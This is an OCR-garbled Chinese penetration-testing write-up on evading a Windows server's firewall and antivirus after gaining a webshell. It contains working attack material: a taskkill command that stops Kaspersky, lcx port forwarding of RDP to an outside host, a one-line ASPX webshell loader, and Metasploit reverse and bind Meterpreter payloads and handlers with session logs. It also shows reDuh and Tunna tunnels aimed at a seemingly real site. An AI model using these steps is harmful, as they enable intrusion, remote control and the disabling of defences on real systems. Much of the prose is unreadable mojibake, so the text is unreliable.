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0x01 B S

Date/time: 2014 &, HIiE—ENMIRSEIBNBLER, F/F Kaspersky
Anti-Virus 8.0, ENIIMEERIAMNENEE1ZEH Lox EBIEE m 2555 & H - ED
B], BRAEBHIH MG izl sad E? XEFBIBELHINNLITRES 7iIXEL
EXE,

ST FEFMSIE:

kavfswp.exe B REERBEIEARE, ATEEESER, W LREN

EXP. MSF #E%, ~EEN ITEPEEJ”TLX SRXDHE (BEE) , Mk

FERIXPHZLEN S BNETX DR, BFREI=ERLY, FABEIERE R
G MSF Fifs Ef& EXIFimiTRIA],

=% EEWQTL/ABHTTE&HTIBT%B&EE kavfswp.exe, MIAIE REZX, HAH
RUEX MO T

taskkill /f /im kavfswp.exe

PRI IT R E AT Kaspersky R&EHIFPxEE 1H/\\%/£E%$’§7i FfT
DM%}J”\JWHBFFE7%/)LKEK%%%%EHQE@@#KEK%, FEIX R 4530 Z2 45 HM)
WT U ITEMGE,

0x02 Lcx

EIMAMIMB P A EZE A Loxexe BIeFEIR AL & 3, AGRTEARMIEER 1234
IwBNR], BR2AEXE ] UAFER NG 51 inOa9EEIRSH SYN_SENT, K
TR 2 HEH AE BN FF=E T,

C:\Recovery\lcx.exe -listen 51 1234
C:\Recovery\lcx.exe -slave 113.xxx.xx.5 51 127.0.0.1 3389

[option:]
-listen #FiZixmO<ConnectPort> &j%l% O<TransmitPort>
-tran  EFiZEimO<ConnectPort> &iXEFHl<TransmitHost> %&i=ix1<TransmitPort>
-slave #E#ETH<ConnectHost> &R 1<ConnectPort> &iXTH<TransmitHost> &ixi%
O<TransmitPort>

ICF 0.0 113, g o= 2Z:51
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Ry FlER

H& @KoMas 1B~ 8 Lox TR &P DABR TSR OS08 80 BIRI 56 [h
TIRE), IS TESE A 80 IWAEEH HH, NEFESANSIRGEE
t#&. (Success!)

S

0x03 Aspx Client

Aspx Client —8JIES

<%@ Page Language="C#" ValidateRequest="false" %>

<%try{
System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["
psw"].Value))).CreateInstance("c", true,
System.Reflection.BindingFlags.Default, null, new object[] { this }, null,
null); } catch { }%>

C:\Recovery\lcx.exe -listen 52 1234

[+] Listening port 52 ......

[+] Listen OK!

[+] Listening port 1234 ......

[+] Listen OK!

[+] Waiting for Client on port:52 ......

Shell Url: http:/fwww.canton | W'. .dolonne.fr/fu_fichierftest.aspx - B
O ENFSAEER | == R 0.0.0.0 80 RO 127.0.0.1 81 BahditigOg s

) e

3 s Bof: mEEEE 127001 505 JUBEEAE 11300 b 22 52 [ETERORE
D Sh| s s
| -met # [2014f22f25 19:22: 27] Error!
-JIB! MS0E08| \ETEREESTETHE. .

.JL | TZ014/2d4/26 19:24-21]  jEISIEST 127.0.0.1:3389 —-> 113 . 22:52 pRIh! R,
Rimid fho et N
N ﬁ;g? [Z014/35/26 19:33.79]  jEiS3EsT 127.0.0.1:3389 —> 113 L 22052 RRTh!

TIME_WATT
ESTABLISHED

Ry Wiz R

STW_SENT
TINE_WATT

0x04 Metasploit

(1) Reverse_tcp

{8 Metasploit A RREEFHNITRIT, ARBEEE port.exe X4
Webshell EERIBrEEHNIT, TUNBERI—EHHAEREE T, WTEFIR.
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I —IRGEIL B K hilh [z 5 R 2 /N
root@dixl:~# msfpayload windows/meterpreter/reverse_tcp LHOST=113.*** ** 250
LPORT=12345 X > /media/hake/port.exe

msf > use exploit/multi/handler
msf exploitChandler) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploitChandler) > set LHOST 192.168.1.10

msf exploitChandler) > set LPORT 12345

msf exploit(Chandler) > exploit

[*] Started reverse handler on 192.168.1.10:12345
[*] Starting the payload handler...

o FHER

£ (Metasploit bind_tcp SEEN Y NAREESTURIT: 2R reverse_tcp &
ELEEREE BRIl BEiRiE O 80, 443, 8080, X/ MNHOERDEEEE, &
I SEFRNNG & I RIS S Dm0 80 BRI 583 i X IEBRHIZRS Meterpreter &

15. (Success!)

r 127.0.0.1

<-> 127.0.0.1:3389

(2) Bind_tcp

£/ bind_tcp [EEEFMLEMERN 9999 WTinCl, TR EHEEERE
HITEL T 9999 iw, BB SHAIRNIEM IP 2T TCP &,

root@dixl1:~# msfpayload windows/meterpreter/bind_tcp LPORT=9999 X >
/media/hake/port.exe

msf > use exploit/multi/handler

msf exploitChandler) > set PAYLOAD windows/meterpreter/bind_tcp
msf exploitChandler) > set RHOST 8@.** ** 21

msf exploitChandler) > set LPORT 9999

msf exploit(Chandler) > exploit

[*] Started bind handler

[*] Starting the payload handler...

LISTENIHG

LISTENING o
LISTENIHG % ;ﬁiﬂfi?

0.0 4 0.0 I LISTENING
0.0.0.0:49152 LIZTENING

(3) Reverse_http
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Metasploit_Reverse_http BEERIETF 90sec ERAHHM DM_M—RENE
“metasploit AMZE/INE”, EBRESEIMINEF AT, EAEEIRO—HFS#H X
B, WHNEMR.

root@dixl1:~# msfpayload windows/meterpreter/reverse_http LHOST=113.*** ** 236
LPORT=4444 R | msfencode -t aspx -o /media/hake/port.aspx

msf > use exploit/multi/handler

msf exploitChandler) > set PAYLOAD windows/meterpreter/reverse_http
msf exploitChandler) > set LHOST 192.168.1.9

msf exploitChandler) > set LPORT 4444

msf exploitChandler) > exploit

[*] Started HTTP reverse handler on http://0.0.0.0:4444/

[*] Starting the payload handler...

t —ano | find "113.

SYN_SENT 24152

R @darkz3r 127/, —RRER(EE 443 In MO MITEO, BE LTS
ESBEIREMINT, BMREINIBEBEEH 443 Ik RET,

msf exploit( ) > exploit

Started HTTP reverse handler on http://0.0.0.0:443/

Starting the payload handler...

80. .21:62506 Request received for /UAea...

80. .21:62506 Staging connection for target /UAea received...
Patched user-agent at offset 663656. ..

Patched transport at offset 663320...

Patched URL at offset 663384...

Patched Expiration Timeout at offset 664256. .. ﬂ
Patched Communication Timeout at offset 664260... ﬁiﬁiﬁfﬁfﬁ
Meterpreter session 1 opened (192.168.1.9:443 -> 80. .21:62506) at

Ry ol

TIME_WATT 1
ESTABLISHED 14996

(4) Reverse_https

BIAFATNILAY Reverse_top Wi 1234 A reverse_http MalFig[ 4444 #f
WRRHAIEREE T, 1BIENIL reverse_https Wm0 4444 B &I A INETBh A 1
FRAHIFXIS Meterpreter 1%, &,

root@dixl:~# msfpayload windows/meterpreter/reverse_https LHOST=113.*** ** 106
LPORT=4444 X > /media/hake/test.exe
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msf > use exploit/multi/handler

msf exploitChandler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https

msf exploitChandler) > set LHOST 192.168.1.9

msf exploitChandler) > set LPORT 4444
msf exploitChandler) > exploit

[*] Started HTTPS reverse handler on https://0.0.0.0:4444/

[*] Starting the payload handler...

[*] 113.*** ** 106:2069 Request received for /5xWX...

[*] 113.*** ** 106:2069 Staging connection for target /5xWX received...
[*] Patched user-agent at offset 663656...

[*] Patched transport at offset 663320...

[*] Patched URL at offset 663384...

[*] Patched Expiration Timeout at offset 664256...

[*] Patched Communication Timeout at offset 664260...

[*] Meterpreter session 3 opened (192.168.1.5:4444 -> 80@.** ** 21:2069) at
2014-08-05 23:49:20 +0800

0x05 reDuh_Gui

reDuh_Gui TEXIFHIAR: ASPX/PHP/JSP, 2B NI R EEERE
SFFMLEIAR, XEZFNAIX e BAREN ST ASPX/PHP B, =
ASPX B T EmNNL, 20 NEPAR.

) reDuh GUI -
URL http: ffwww, cantormsssssssdolonne. frfu_fichier freDuh, aspx b Start m
Create Tunnel

Remote Host Local Port 1234:127.0.0. 1:3389

127.0.0.1 1234

Remote Port

gk Create = (Close
3389

Create tunnel successful, -
dient - server --> 127.0.0.1:3389 : 19 size

dient <--server <-- 127.0.0.1:35093180 : 28 size

dient <--server <-- 127.0.0.1:35092316 : 1 size |
remote dose socket of 127.0.0.1:338%:1

4

T FHER

0x06 Http_Tunna

FRMLREEFAA AN TimmA T AN Amr~ 0 BT s IH I /4= /> T BN —— &I AP 42
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e KGRI Bj it LA e e BN
TN JET F AIAY TEUUNL TUNld M 1808UNY SFAPRELC IV VAE, L% WERIATUARTT

23, AHIREREAEERS S DHRIA, MIARRMAEZ A HEOFRE, BB A
B AR OZH, HTTP K&,

&1 Http_Tunna A reDuh_Gui T{ERIE—4E, (B Http_Tunna ZLtkL reDuh_Gui
REIR, HERE., XIFHZAHE: ASPX/PHP/JSP, thr] BAEE{E Metasploit 1E
ZETMERA, RIIEHIE tunna_exploitrb XN ZE MSF RREF T, #RE,

root@dixl:~# ruby proxy.rb -u
http://www.canton*********d4q]onne.fr/u_fichier/conn.aspx -1 1234 -r 3389 -v

msf > use exploit/windows/misc/tunna_exploit

msf exploit(tunna_exploit) > set PAYLOAD windows/meterpreter/bind_tcp
msf exploit(tunna_exploit) > set RHOST 113.*** ** 23¢

msf exploit(tunna_exploit) > set TARGETURI
http://www.canton*********do]lonne.fr/u_fichier/conn.aspx

msf exploit(tunna_exploit) > set VERBOSE true

msf exploit(tunna_exploit) > exploit -j

7 ENNLAFLE reDuh_Gui BXID T, 1 Http_Tunna 15K T, AJBERHZEEE
B0, WABEAEEE Http_Tunna ASPX BR[O, @Ff/)NImEEMm X EHLIRE
TR JSP # PHP sIpEIlim %k, FIMNESFAEE S ZdE T, £&

MABESWERRERBRET .

0x07 Bypass Firewall

| (AR EEENNT 80/443 W5 Tim &S aE50d B A ERH),  (Success
)

1. Lcx, 2. Aspx Client. 3.1 Reverse_tcp. 3.3 Reverse_http. 3.3 Reverse_https

Il fFREMZEENNY Bind_tcp W& E R BEsId H GRS,  (Failure!)
3.2 Bind_tcp

. {8 HTTP BEENt reDun_Gui, Tunna 0.1 £ T BEEZEREEL0IHNILR
&), (Success !)

4. reDuh_Gui. 5. Http_Tunna. reGeorg. neo_reGeorg
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